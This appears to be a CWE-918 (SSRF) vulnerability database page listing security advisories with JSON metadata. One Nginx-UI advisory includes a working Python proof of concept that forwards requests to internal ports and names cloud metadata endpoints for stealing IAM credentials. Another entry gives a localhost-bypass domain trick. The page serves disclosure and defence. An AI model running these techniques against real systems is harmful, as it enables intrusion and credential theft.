CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
6182 vulnerabilities reference this CWE, most recent first.
GHSA-WQVR-8G58-79VV
Vulnerability from github – Published: 2022-05-24 16:57 – Updated: 2024-04-04 02:07SalesAgility SuiteCRM 7.10.x 7.10.19 and 7.11.x before and 7.11.7 has SSRF.
{
"affected": [],
"aliases": [
"CVE-2019-13335"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-10-02T12:15:00Z",
"severity": "CRITICAL"
},
"details": "SalesAgility SuiteCRM 7.10.x 7.10.19 and 7.11.x before and 7.11.7 has SSRF.",
"id": "GHSA-wqvr-8g58-79vv",
"modified": "2024-04-04T02:07:37Z",
"published": "2022-05-24T16:57:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-13335"
},
{
"type": "WEB",
"url": "https://docs.suitecrm.com/admin/releases/7.10.x/#_7_10_20"
},
{
"type": "WEB",
"url": "https://docs.suitecrm.com/admin/releases/7.11.x/#_7_11_7"
},
{
"type": "WEB",
"url": "https://docs.suitecrm.com/admin/releases/7.11.x/#_7_11_8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WQW7-RPFH-V8GR
Vulnerability from github – Published: 2026-07-27 21:31 – Updated: 2026-07-27 21:31A user with JFrog Artifactory Cargo remote repository read access could make Artifactory request unintended URLs and return the response.
{
"affected": [],
"aliases": [
"CVE-2026-65925"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-27T20:16:41Z",
"severity": "MODERATE"
},
"details": "A user with JFrog Artifactory Cargo remote repository read access could make Artifactory request unintended URLs and return the response.",
"id": "GHSA-wqw7-rpfh-v8gr",
"modified": "2026-07-27T21:31:22Z",
"published": "2026-07-27T21:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65925"
},
{
"type": "WEB",
"url": "https://docs.jfrog.com/releases/docs/artifactory-self-managed-releases"
},
{
"type": "WEB",
"url": "https://docs.jfrog.com/releases/docs/jfrog-security-advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WQWW-G3X9-R7FW
Vulnerability from github – Published: 2026-02-03 18:30 – Updated: 2026-02-04 18:30Tiny File Manager through 2.6 contains a server-side request forgery (SSRF) vulnerability in the URL upload feature. Due to insufficient validation of user-supplied URLs, an attacker can send crafted requests to localhost by using http://www.127.0.0.1.example.com/ or a similarly constructed domain name. This may lead to unauthorized port scanning or access to internal-only services.
{
"affected": [],
"aliases": [
"CVE-2025-46651"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-03T18:16:12Z",
"severity": "CRITICAL"
},
"details": "Tiny File Manager through 2.6 contains a server-side request forgery (SSRF) vulnerability in the URL upload feature. Due to insufficient validation of user-supplied URLs, an attacker can send crafted requests to localhost by using http://www.127.0.0.1.example.com/ or a similarly constructed domain name. This may lead to unauthorized port scanning or access to internal-only services.",
"id": "GHSA-wqww-g3x9-r7fw",
"modified": "2026-02-04T18:30:30Z",
"published": "2026-02-03T18:30:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46651"
},
{
"type": "WEB",
"url": "https://github.com/RobertoLuzanilla/tinyfilemanager-security-advisories/blob/main/CVE-2025-46651.md"
},
{
"type": "WEB",
"url": "https://github.com/prasathmani/tinyfilemanager/blob/master/tinyfilemanager.php#L608"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WR32-99HH-6F35
Vulnerability from github – Published: 2026-04-29 20:54 – Updated: 2026-05-13 16:31Summary
An authenticated user can perform Server-Side Request Forgery (SSRF) by creating a cluster node pointing to an arbitrary internal URL and then sending API requests with the X-Node-ID header. The Proxy middleware forwards these requests to the attacker-specified internal address, bypassing network segmentation and enabling access to services bound to localhost or internal networks.
Details
The nginx-ui Proxy middleware (internal/middleware/proxy.go) intercepts API requests containing an X-Node-ID header and forwards them to the URL of the corresponding cluster node. An attacker can:
- Read the
node_secretfromGET /api/settings(accessible to any authenticated user) - Create a cluster node via
POST /api/nodespointing to any internal URL:
{
"name": "ssrf_node",
"url": "http://127.0.0.1:51820",
"token": "<node_secret>",
"enabled": true
}
- Send any API request with the
X-Node-IDheader set to the created node's ID:
GET /api/settings HTTP/1.1
Authorization: <token>
X-Node-ID: 1
- The Proxy middleware forwards this request to
http://127.0.0.1:51820/api/settings, making a server-side request to the internal address.
Vulnerable code path:
- internal/middleware/proxy.go — Proxy(): no validation of the node URL; allows 127.0.0.1, localhost, internal IPs, cloud metadata endpoints, etc.
The node URL is not restricted to external addresses or validated against an allowlist. Combined with the njs Code Injection vulnerability (separate advisory), this SSRF is used to trigger the njs payload executing on an internal-only nginx port, completing the RCE chain.
PoC
import requests
BASE = "http://TARGET:9000"
TOKEN = "<authenticated_jwt_token>"
HDR = {"Authorization": TOKEN}
# Step 1: Get node_secret
settings = requests.get(f"{BASE}/api/settings", headers=HDR).json()
node_secret = settings["node"]["secret"]
# Step 2: Create SSRF node pointing to internal service
resp = requests.post(f"{BASE}/api/nodes", headers=HDR, json={
"name": "ssrf",
"url": "http://127.0.0.1:51820", # internal-only port
"token": node_secret,
"enabled": True,
})
node_id = resp.json()["id"]
# Step 3: SSRF — request is forwarded to http://127.0.0.1:51820/api/settings
resp = requests.get(
f"{BASE}/api/settings",
headers={**HDR, "X-Node-ID": str(node_id)},
)
print(resp.status_code, resp.text[:200])
# Response comes from the INTERNAL service, not nginx-ui
This can also target cloud metadata endpoints (e.g., http://169.254.169.254/latest/meta-data/) or any other internal service.
Impact
An authenticated attacker can:
- Access internal services bound to localhost or private networks that are not intended to be externally reachable
- Access cloud metadata endpoints (AWS/GCP/Azure instance metadata) to steal IAM credentials
- Port-scan internal networks by creating nodes pointing to different internal IPs/ports
- Trigger internal-only njs endpoints to escalate privileges (as demonstrated in the companion RCE advisory)
- Bypass network segmentation and firewalls that only restrict inbound traffic
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/0xJacky/Nginx-UI"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.3.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44015"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-29T20:54:54Z",
"nvd_published_at": "2026-05-12T22:16:35Z",
"severity": "HIGH"
},
"details": "### Summary\n\nAn authenticated user can perform Server-Side Request Forgery (SSRF) by creating a cluster node pointing to an arbitrary internal URL and then sending API requests with the `X-Node-ID` header. The Proxy middleware forwards these requests to the attacker-specified internal address, bypassing network segmentation and enabling access to services bound to localhost or internal networks.\n\n### Details\n\nThe nginx-ui Proxy middleware (`internal/middleware/proxy.go`) intercepts API requests containing an `X-Node-ID` header and forwards them to the URL of the corresponding cluster node. An attacker can:\n\n1. Read the `node_secret` from `GET /api/settings` (accessible to any authenticated user)\n2. Create a cluster node via `POST /api/nodes` pointing to any internal URL:\n```json\n{\n \"name\": \"ssrf_node\",\n \"url\": \"http://127.0.0.1:51820\",\n \"token\": \"\u003cnode_secret\u003e\",\n \"enabled\": true\n}\n```\n3. Send any API request with the `X-Node-ID` header set to the created node\u0027s ID:\n```\nGET /api/settings HTTP/1.1\nAuthorization: \u003ctoken\u003e\nX-Node-ID: 1\n```\n4. The Proxy middleware forwards this request to `http://127.0.0.1:51820/api/settings`, making a server-side request to the internal address.\n\n**Vulnerable code path:**\n- `internal/middleware/proxy.go` \u2014 `Proxy()`: no validation of the node URL; allows `127.0.0.1`, `localhost`, internal IPs, cloud metadata endpoints, etc.\n\nThe node URL is not restricted to external addresses or validated against an allowlist. Combined with the njs Code Injection vulnerability (separate advisory), this SSRF is used to trigger the njs payload executing on an internal-only nginx port, completing the RCE chain.\n\n### PoC\n\n```python\nimport requests\n\nBASE = \"http://TARGET:9000\"\nTOKEN = \"\u003cauthenticated_jwt_token\u003e\"\nHDR = {\"Authorization\": TOKEN}\n\n# Step 1: Get node_secret\nsettings = requests.get(f\"{BASE}/api/settings\", headers=HDR).json()\nnode_secret = settings[\"node\"][\"secret\"]\n\n# Step 2: Create SSRF node pointing to internal service\nresp = requests.post(f\"{BASE}/api/nodes\", headers=HDR, json={\n \"name\": \"ssrf\",\n \"url\": \"http://127.0.0.1:51820\", # internal-only port\n \"token\": node_secret,\n \"enabled\": True,\n})\nnode_id = resp.json()[\"id\"]\n\n# Step 3: SSRF \u2014 request is forwarded to http://127.0.0.1:51820/api/settings\nresp = requests.get(\n f\"{BASE}/api/settings\",\n headers={**HDR, \"X-Node-ID\": str(node_id)},\n)\nprint(resp.status_code, resp.text[:200])\n# Response comes from the INTERNAL service, not nginx-ui\n```\n\nThis can also target cloud metadata endpoints (e.g., `http://169.254.169.254/latest/meta-data/`) or any other internal service.\n\n### Impact\n\nAn authenticated attacker can:\n\n- **Access internal services** bound to localhost or private networks that are not intended to be externally reachable\n- **Access cloud metadata endpoints** (AWS/GCP/Azure instance metadata) to steal IAM credentials\n- **Port-scan internal networks** by creating nodes pointing to different internal IPs/ports\n- **Trigger internal-only njs endpoints** to escalate privileges (as demonstrated in the companion RCE advisory)\n- **Bypass network segmentation** and firewalls that only restrict inbound traffic",
"id": "GHSA-wr32-99hh-6f35",
"modified": "2026-05-13T16:31:42Z",
"published": "2026-04-29T20:54:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-wr32-99hh-6f35"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44015"
},
{
"type": "PACKAGE",
"url": "https://github.com/0xJacky/nginx-ui"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Nginx-UI has Server-Side Request Forgery (SSRF) via Cluster Proxy Middleware that Allows Access to Internal Services"
}
GHSA-WR74-F9QR-G5XW
Vulnerability from github – Published: 2025-05-22 21:30 – Updated: 2025-05-22 21:30SSRF Server Side Request Forgery vulnerabilities exist in ASPECT if administrator credentials become compromisedThis issue affects ASPECT-Enterprise: through 3.; NEXUS Series: through 3.; MATRIX Series: through 3.*.
{
"affected": [],
"aliases": [
"CVE-2024-13957"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-22T19:15:40Z",
"severity": "HIGH"
},
"details": "SSRF Server Side Request Forgery vulnerabilities exist in ASPECT if administrator credentials become compromisedThis issue affects ASPECT-Enterprise: through 3.*; NEXUS Series: through 3.*; MATRIX Series: through 3.*.",
"id": "GHSA-wr74-f9qr-g5xw",
"modified": "2025-05-22T21:30:47Z",
"published": "2025-05-22T21:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13957"
},
{
"type": "WEB",
"url": "https://search.abb.com/library/Download.aspx?DocumentID=9AKK108471A0021\u0026LanguageCode=en\u0026DocumentPartId=pdf\u0026Action=Launch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-WR7J-7CG5-P3PV
Vulnerability from github – Published: 2024-06-04 21:32 – Updated: 2024-06-04 21:32Prior to 23.2, it is possible to perform arbitrary Server-Side requests via HTTP-based connectors within BeyondInsight, resulting in a server-side request forgery vulnerability.
{
"affected": [],
"aliases": [
"CVE-2024-4219"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-04T21:15:35Z",
"severity": "MODERATE"
},
"details": "Prior to 23.2, it is possible to perform arbitrary Server-Side requests via HTTP-based connectors within BeyondInsight, resulting in a server-side request forgery vulnerability.",
"id": "GHSA-wr7j-7cg5-p3pv",
"modified": "2024-06-04T21:32:22Z",
"published": "2024-06-04T21:32:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4219"
},
{
"type": "WEB",
"url": "https://www.beyondtrust.com/trust-center/security-advisories/BT24-05"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:H/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-WR7P-6RRG-8M28
Vulnerability from github – Published: 2026-09-13 12:31 – Updated: 2026-09-13 12:31Open Notebook before 1.11.0 fails to validate the URL parameter in POST /api/sources endpoint, allowing authenticated users to perform server-side requests to internal services. Attackers can supply arbitrary URLs to read cloud metadata, internal network services, and localhost-bound services through the application server's direct HTTP requests.
{
"affected": [],
"aliases": [
"CVE-2026-90769"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-13T11:17:01Z",
"severity": "HIGH"
},
"details": "Open Notebook before 1.11.0 fails to validate the URL parameter in POST /api/sources endpoint, allowing authenticated users to perform server-side requests to internal services. Attackers can supply arbitrary URLs to read cloud metadata, internal network services, and localhost-bound services through the application server\u0027s direct HTTP requests.",
"id": "GHSA-wr7p-6rrg-8m28",
"modified": "2026-09-13T12:31:11Z",
"published": "2026-09-13T12:31:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-90769"
},
{
"type": "WEB",
"url": "https://github.com/lfnovo/open-notebook/issues/1284"
},
{
"type": "WEB",
"url": "https://github.com/lfnovo/open-notebook/commit/9045ea50196927eac7de647bb5b7009349236fb4"
},
{
"type": "WEB",
"url": "https://github.com/lfnovo/open-notebook"
},
{
"type": "WEB",
"url": "https://github.com/lfnovo/open-notebook/blob/8889087e317177d7b6e286342ab34e0c9c01d43e/api/routers/sources.py"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/open-notebook-before-1.11.0-server-side-request-forgery-via-link-source"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-WR7V-68P8-38HW
Vulnerability from github – Published: 2025-02-11 18:31 – Updated: 2025-02-11 18:31Dell UCC Edge, version 2.3.0, contains a Blind SSRF on Add Customer SFTP Server vulnerability. An unauthenticated attacker with local access could potentially exploit this vulnerability, leading to Server-side request forgery
{
"affected": [],
"aliases": [
"CVE-2025-22399"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-11T17:15:34Z",
"severity": "HIGH"
},
"details": "Dell UCC Edge, version 2.3.0, contains a Blind SSRF on Add Customer SFTP Server vulnerability. An unauthenticated attacker with local access could potentially exploit this vulnerability, leading to Server-side request forgery",
"id": "GHSA-wr7v-68p8-38hw",
"modified": "2025-02-11T18:31:35Z",
"published": "2025-02-11T18:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22399"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000279299/dsa-2025-043-security-update-for-dell-ucc-edge-security-update-for-multiple-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-WR82-63QC-G2H8
Vulnerability from github – Published: 2022-05-14 01:04 – Updated: 2022-05-14 01:04The IconUriServlet of the Atlassian OAuth Plugin from version 1.3.0 before version 1.9.12 and from version 2.0.0 before version 2.0.4 allows remote attackers to access the content of internal network resources and/or perform an XSS attack via Server Side Request Forgery (SSRF).
{
"affected": [],
"aliases": [
"CVE-2017-9506"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-08-23T19:29:00Z",
"severity": "MODERATE"
},
"details": "The IconUriServlet of the Atlassian OAuth Plugin from version 1.3.0 before version 1.9.12 and from version 2.0.0 before version 2.0.4 allows remote attackers to access the content of internal network resources and/or perform an XSS attack via Server Side Request Forgery (SSRF).",
"id": "GHSA-wr82-63qc-g2h8",
"modified": "2022-05-14T01:04:28Z",
"published": "2022-05-14T01:04:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-9506"
},
{
"type": "WEB",
"url": "https://ecosystem.atlassian.net/browse/OAUTH-344"
},
{
"type": "WEB",
"url": "https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-171018bca2c3"
},
{
"type": "WEB",
"url": "https://twitter.com/Zer0Security/status/983529439433777152"
},
{
"type": "WEB",
"url": "https://twitter.com/ankit_anubhav/status/973566620676382721"
},
{
"type": "WEB",
"url": "http://dontpanic.42.nl/2017/12/there-is-proxy-in-your-atlassian.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WRCF-9Q3R-V954
Vulnerability from github – Published: 2026-09-24 15:31 – Updated: 2026-09-24 15:31IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to obtain sensitive information due to improper validation of the X-Forwarded-Proto header.
{
"affected": [],
"aliases": [
"CVE-2026-81549"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-24T15:17:39Z",
"severity": "CRITICAL"
},
"details": "IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to obtain sensitive information due to improper validation of the X-Forwarded-Proto header.",
"id": "GHSA-wrcf-9q3r-v954",
"modified": "2026-09-24T15:31:35Z",
"published": "2026-09-24T15:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81549"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7288649"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.